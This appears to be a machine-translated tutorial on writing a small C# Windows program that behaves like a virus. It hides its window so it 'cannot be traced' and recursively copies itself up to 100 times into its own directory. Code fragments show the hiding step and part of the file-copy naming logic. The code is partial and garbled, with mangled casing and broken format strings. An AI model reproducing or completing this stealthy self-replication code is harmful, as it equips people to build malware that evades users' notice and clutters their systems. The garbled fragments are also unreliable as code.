Program The following functions must be implemented.
First, the running interface is not displayed during running. Of course, you can still see the process in the task manager, and the virus that is deep on the road cannot be traced.
Second, the program copies n copies in the running directory.
Third, recursive replication is used, that is, the first program generates the second program, the second program generates the third program, and so on.
Source codeIt is easy to analyze:
The following is a reference clip: 35 // not displayed on the taskbar 36 This. showintaskbar = false; 37 // transparent form 38 This. Opacity = 0; |
System. windows. forms. the Form class encapsulates most of the features of a common Windows window program, greatly simplifying the design process of the window interface. The above two attributes are used to hide the running status of our program, the first showintaskbar attribute, if this parameter is set to no, the program will not be displayed on the status bar. The second opacity attribute indicates the opacity of the window. The value ranges from 0 to 100. The opacity of 0% is 100% transparent. In this way, when the program runs, you will not be able to see the form.
The following is a reference clip: 44 // default number of copies 45 const int Total = 100; 46 int _ COUNT = total; 47 // The path and file name of the running program 48 string _ file = application. executablepath; 49 // program path in progress 50 string _ Path = application. startuppath; 51 // name of the program in progress 52 string _ name = _ file. replace (string. format ("{0 }\\", _ path), String. empty ). tolower (); 53 try 54 { 55 _ COUNT = int. parse (_ name. replace (". EXE ", String. empty); 56 _ count --; 57} 58 catch 59 { 60} 61 finally 62 { 63} 64/ /target file 65 string _ target = string. format ("{0 }\\ {1cmd.exe", _ path, _ count. tostring ("000"); |